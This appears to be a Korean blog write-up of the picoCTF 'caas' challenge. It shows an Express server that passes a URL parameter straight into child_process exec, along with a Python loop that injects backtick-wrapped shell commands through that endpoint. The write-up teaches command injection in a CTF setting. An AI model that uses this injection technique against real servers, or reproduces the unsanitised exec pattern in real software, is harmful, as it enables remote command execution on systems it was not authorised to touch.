본문 바로가기
pico CTF

[picoCTF] caas

by skyepodium 2023. 4. 28.

1. 개요

command injection

 

2. 분석

주어진 코드를 보면, exec 함수로 차일드 프로세스를 실행시키는데 여기에 시스템 명령어가 삽입되면, 수행 결과를 반환합니다.

 

다만, exec 함수에 시스템 명령어를 보낼때는 `ls` 와 같이 백틱으로 감싸줘야합니다.

const express = require('express');
const app = express();
const { exec } = require('child_process');

app.use(express.static('public'));

app.get('/cowsay/:message', (req, res) => {
  exec(`/usr/games/cowsay ${req.params.message}`, { timeout: 5000 }, (error, stdout) => {
    if (error) return res.status(500).end();
    res.type('txt').send(stdout).end();
  });
});

app.listen(3000, () => {
  console.log('listening');
});

 

3. 코드

import requests


def get_result_by_message(message: str) -> str:
    print('message', message)
    base_url = "https://caas.mars.picoctf.net"
    return requests.get(f"{base_url}/cowsay/`{message}`").text


while True:
    cmd = input()
    result = get_result_by_message(cmd)
    print(result)

'pico CTF' 카테고리의 다른 글

[picoCTF]  SOAP  (0) 2023.04.29
[picoCTF] find me  (0) 2023.04.29
[picoCTF] X marks the spot  (0) 2023.04.28
[pico CTF] Transformation  (0) 2023.04.02
[pico CTF] First Find  (0) 2022.08.15